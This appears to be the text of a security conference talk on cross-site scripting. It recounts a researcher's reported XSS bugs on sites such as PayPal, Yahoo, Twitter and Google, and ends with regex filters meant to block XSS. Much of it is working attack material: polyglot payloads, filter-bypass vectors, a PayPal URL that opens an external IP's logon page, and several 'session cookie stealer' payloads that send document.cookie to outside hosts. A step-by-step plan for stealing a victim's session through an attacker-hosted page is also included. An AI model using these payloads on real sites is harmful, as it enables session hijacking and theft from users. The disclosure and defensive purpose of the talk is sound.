Cross-Site Scripting (XSS): My Love

Example # 1 (<, "" & > are filtered)

This is one of the Top 20 sites according to latest Alexa rank!

Example # 1 ---

"><img src=x onerror=prompt(1);>

becomes

<input id="query" value="  img src=x onerror=prompt(1); " name="query" title="Enter a keyword or topic" class="dText" aria-haspopup="true" type="text">

Is XSS Possible?

Here it is ...

How?

'">><marquee><img src=x onerror=confirm(1)></marquee>"></plaintext\></|\><plaintext/onmouseover=prompt(1)><script>prompt(1)</script>@gmail.com<isindex formaction=javascript:alert(/XSS/) type=submit>'-->"></script><script>alert(1)</script>"><img/id="confirm&lpar;1)"/alt="/"src="/"onerror=eval(id&%23x29;>'"><img src="http://i.imgur.com/P8mL8.jpg">

                                                         becomes

<input id="query" value="'" marquee="" img="" src="x" onerror="confirm(1)" "="" plaintext\="" |\="" plaintext="" onmouseover="prompt(1)" prompt(1)="" @gmail.com="" isindex="" formaction=":alert(/XSS/)" '--="" alert(1)="" name="query" title="Enter a keyword or topic" class="dText" aria-haspopup="true" type="text">

importance of previous Xss vector

Example # 2

On-demand software as a service (SaaS) learning management system.

< becomes &lt;

> becomes &gt;

" becomes &quot;

e.g.,

"><img src=x onerror=confirm(1);>

convert into

&quot;&gt;&lt;img src=x onerror=confirm(1);&gt;

Can you xss this?

Here it is

interesting FIX

Example # 3

A well known website i.e.,  http://www.slideshare.net

60 million monthly visitors

130 million page-views

As far as I can see, site is pretty-much secure & our favorite vector ...

"><img src=x onerror=prompt(1);>

becomes

">&lt;img src="x">

Another try

'">><marquee><img src=x onerror=confirm(1)></marquee>"></plaintext\></|\><plaintext/onmouseover=prompt(1)><script>prompt(1)</script>@gmail.com<isindex formaction=javascript:alert(/XSS/) type=submit>'-->"></script><script>alert(1)</script>"><img/id="confirm&lpar;1)"/alt="/"src="/"onerror=eval(id&%23x29;>'"><img src="http://i.imgur.com/P8mL8.jpg">

becomes

Example # 3...

Here It is ...

How?

My Facebook Profile...

Don't Forgot!

Example # 4

Facebook: Biggest Social Network with more than 1 billion user-base!

Bug Bounty Program: https://www.facebook.com/whitehat

So far Facebook has payed more than 1 million dollars in the form of bug bounty reward: https://www.facebook.com/notes/facebook-security/recent-reports-on-our-whitehat-program/10151538365500766

Trusted friend attack: when Guardian angels strike

Hack In The Box, ,Kuala Lumpur: Malaysia 2013

http://conference.hitb.org/hitbsecconf2013kul/ashar-javed/

DeepSec, Vienna Austria 2013

https://deepsec.net/speaker.html#PSLOT110

But here we only talk about XSS...

How?

Example # 5

Do you know the guy who was able to XSS every "Security & Protection" pages of PAYPAL?

Here is the answer :)

SNAP-SHOT of EMAILS ...

#1

#2

#3

#4 to #25 DOM XSSes ...

Root Cause ...

Root Cause In this case...

JavaScript controls the location/URL to be displayed in an insecure manner.

DOM objects' references that may be controlled by the attacker should be checked.

Excerts from ""JavaScript Libraries (In)security"" talk by @WisecWisec at OWASP AppSec Research EU 2013 

unsafe jquery methods (http://twitpic.com/95n3ak)

DOM XSS exploit

https://www.paypal.com/us/webapps/mpp/security/email-authentication/#"><img src=x onerror=window.open('http://83.140.109.66/x528x582/logon.html');>

Example # 6

My all-time favorite "Twitter"

Tip: Follow cool people on Twitter & you will learn a lot! 

Twitter takes SECURITY seriously and on their mobile side they have started using Content Security Policy (CSP)!

DOM XSS in Twitter Translation

short story

Reflective XSS in Twitter Translation

Example # 7

Microsoft!

I wish they will start a bug bounty program for their web applications ! :)

Reflective XSS in hotmail

May 2012-May 2013 (1 year of reporting vulnerabilities to Microsoft)

DOM XSS in Rediscover.MSN.COM

DOM XSS in REALESTATE.MSN.COM

DOM XSS in Latino.MSN.com

Example # 8

You often see a URL like:

https://www.magentocommerce.com/products/customer

/account/login/?back_url=http://www.magentocommerce.com/boards/

member/messages/view_folder/1/

In the wild, following parameters are very common e.g.,

return-url, ReturnUrl, continue & return_url

Developers forgot to validate  ...

Example # 9

Third-party RICH-TEXT editors, Ticketing functionality, Ask question from Support Teams, Developers' forums, Send Private Message feature & Ask a Question on a Forum etc ...

ALL PROVIDE AN OPTION TO ATTACH A FILE

Often leads to Arbitrary File Upload Vulnerability :-(

Example taken from developers' forum

See Allowed FILE TYPES

POC (X.COM)

POC (Paypal Technical merchant support https://ppmts.custhelp.com/)

What is inside FLASH FILE?

XSS Vector

Session Cookie Stealer # 1 (116 char, requires user-interaction)

<a href="javascript:img=new Image();img.src='http://xssplayground.net23.net/xsstest.php?c=='+document.cookie;">X</a>

http://jsfiddle.net/mqXLB/

Session Cookie Stealer # 2 (103 chars & Doesn't requires user interaction)

"><img src=x onerror=document.location='http://xssplayground.net23.net/xsstest.php?c='+document.cookie>

http://jsfiddle.net/yDutM/

Session Cookie Stealer # 3 (66 chars & Doesn't requires user interaction)

"><svg/onload=window.location='//goo.gl/F7Kb1?c='+document.cookie>

http://jsfiddle.net/pzW9m/

Session Cookie Stealer # 4 (50 chars & Doesn't requires user interaction)

"><svg/onload=location='//goo.gl/F7Kb1?c='+cookie>

http://jsfiddle.net/pzW9m/1/

Can we further shorten this vector?

But I was wrong :-(

Here is 36 chars vector by "Mario Heiderich" with no user-interaction!

<iframe/onload=src='//x.se/'+cookie>

Recommendation

Example # 10

All "meme" images have been taken from "Google Image Search"

So now what are you expecting  on the next slide :-)

XSS in Google Image search ($1337)

Background

Root cause: "Scrapping"

I made a Google Image search with the following input:

"><img src=x onerror=alert(11111111111);>

but got the following alert box ...

Analysis

Another POC

Example # 11

This is one of the Top 20 sites according to latest Alexa rank.

For Logged-in users, site allows to create an HTML page about YOURSELF!

On Server side, site has JavaScript Detection Program in place and if page has "JavaScript", site doesn't allow to proceed.

JavaScript detected

"><img src=x onerror=prompt(1);>

<iframe/src=//goo.gl/nlX0P>

<script src='https://dl.dropbox.com/u/13018058/js.js'></script>

Not bad

This is how admin thinks...

Challenge...

bypass # 1

<a href="jAvAsCrIpT&colon;alert&lpar;1&rpar;">X</a>

Bypass # 2

<img/src='http://i.imgur.com/P8mL8.jpg' onmouseover=&Tab;prompt(1)

Bypass # 3 (IE Specific, vbscript)

<svg/contentScriptType=text/vbs><script>Execute(MsgBox(chr(88)&chr(83)&chr(83)))

Bypass # 4 (Opera Specific)

<svg><script>alert&#40 1&#41

Bypass # 5

<embed/src=//goo.gl/nlX0P>

<object/data=//goo.gl/nlX0P>

Bypass # 6 to Infinite 

No Time :-(

isn't it cool :-)

EXAMPLE # 12 (potential xss house if "username" field is present)

Log-in/Registration Forms 

+

Forgot your password

XSS in MailCHIMP in log-in form (alexa rank: 309)

XSS in megashares in log-in form

XSS in wunderground registration form (alexa rank 646)

"Forgot your password" is the most forgotten feature & often poorly implemented

XSS in New york Times (password reset)

XSS in letitbit (password reset, alexa rank 695)

XSS in wordstream (forgot your password)

XSS in in.com password reset feature

Impact of XSS in in.com password reset functionality

poorly implemented "forgot your password"

Another form of poor implementation...

In case, if attacker is unable to found an XSS in password reset feature then with 90% PROBABILTY the following thing is allowed  & admin will have a good scary time :-)

Send password reset email to

admin@sitename.com

Example # 13

what I did so far ...

Stored XSS in Yahoo Email box

Story

story CONTINUES

Reflective XSS in yahoo email box

Were Able to broke their one of the important product's XSS Filter

how

soon I realize

here you go

But I am going to show you LIVE BUT HARMLESS XSS exploit :)

CRICBUZZ, Alexa Rank 2675 (http://m.cricbuzz.com/info/contact)

Attacker knows Site has An XSS

Attacker's Goal (steal session cookie of victim)

STEPS ATTACKER WILL FOLLOW

Prepare the form with XSS PAYLOAD

Construct a web page with form + PAYLOAD

Trick victim to visit attacker's web page

Attacker has the session cookie of the victim

Prepare form with payload

Attacker's page

http://xssplayground.net23.net/victim.html

xssforfunandlearn.host22.com/victim_demo.html 

Easiest way to trick victim

<a href="http://xssplayground.net23.net/victim.html"><img src="http://images.sodahead.com/polls/003286393/

250227838_18_answer_1_xlarge.jpeg"></a>

Game over

Another way to exploit xss

@RSnake Interview With A Blackhat (Part 1 & Part 2)

https://blog.whitehatsec.com/interview-with-a-blackhat-part-1/#.Uirp6sazfzF

Some points from interview

goal is to insert an invisible iframe

"><iframe src='http://www.bbc.co.uk/news/' frameborder='0' width='1' height='1'>

Target is

http://www.care2.com/ (Alexa Rank, 2684)

send victim a link & auto-submit the search form

xssplayground.net23.net/victim2.html

POC screen-shots

here it is an iframe

Yet Another XSS exploit i.e., Defacement

153,958 defacements have been archived here: https://www.zone-h.org/archive/special=1

defacement attack vectors

result of defacement

1st Regular expression (RE) from STOP_XSS function

/<script[^>]*>.*?<\/script>/

DEMO of 1st re (/<script[^>]*>.*?<\/script>/)

http://jsfiddle.net/dgJta/1/

XSS Attack Vector: <script src="https://dl.dropbox.com/u/13018058/js.js"></script>

Another DEMO of 1st re (/<script[^>]*>.*?<\/script>/)

http://jsfiddle.net/Z9Y6m/1/

XSS attack vector: <script>confirm(document.cookie)<\/script>

sounds good!

limitations of 1st re

Limitations of 1st RE (no obfuscation support)

http://pastebin.com/a4WSVDzf

our improved form of 1st RE

/<script[^>]*>.*?<\/script>/

has been changed into

/<script[^>]*>[\s\S]*?/ 

. (dot) becomes [\s\S]

Closing "script" tag gone

Our improved form of 1st re

/<script[^>]*>[\s\S]*?/ 

obfuscation support (URL, Decimal

&  HEX encoding | #2nd, 3rd & 4th RE)

2nd Regular expression (RE) from STOP_XSS function

/([\s"']+on\w+)\s*=/

DEMO of 2nd re

/([\s"']+on\w+)\s*=/

http://jsfiddle.net/MQLGb/

XSS attack vector: <body onload="alert(1)">

Another DEMO of 2nd re

/([\s"']+on\w+)\s*=/

http://jsfiddle.net/wZW4w/1/

XSS attack vector: <img src="x"onerror =alert(1)>

Yet Another DEMO of 2nd re

/([\s"']+on\w+)\s*=/

http://jsfiddle.net/QhwK2/2/

XSS attack vector: <img/src=x /alt='Img Not Found'onerror=confirm(1)>

sounds cool!

limitations of 2nd re

Our improved form of 2nd re (#5 re)

/[\s"\'`;\/0-9\=\x0B\x09\x0C\x3B\x2C\x28]+on\w+[\s\x0B\x09\x0C\x3B\x2C\x28]*=/

valid separators in different browsers

https://twitter.com/kinugawamasato

valid separators in different browsers

https://twitter.com/LightOS

3rd Regular expression (RE) from STOP_XSS function

/(=|(U\s*R\s*L\s*\())\s*("|\')?[^>]*\s*S\s*C\s*R\s*I\s*P\s*T\s*:/

DEMO of 3rd re

/(=|(U\s*R\s*L\s*\())\s*("|\')?[^>]*\s*S\s*C\s*R\s*I\s*P\s*T\s*:/

http://jsfiddle.net/w2L3z/

XSS attack vector:

<p style="background:url(javascript:alert(1))">

Another DEMO of 3rd re

/(=|(U\s*R\s*L\s*\())\s*("|\')?[^>]*\s*S\s*C\s*R\s*I\s*P\s*T\s*:/

http://jsfiddle.net/4F2Gh/

XSS attack vector: <iframe src="jaVAscRipT:alert(1)">

nice!

limitations of 3rd re

Our improved form of 3rd re (#6th)

/(?:=|U\s*R\s*L\s*\()\s*[^>]*\s*S\s*C\s*R\s*I\s*P\s*T\s*:/

Our improved form of 3rd re (added re for &colon;) | #7th RE

/&colon;/

colon hurts :)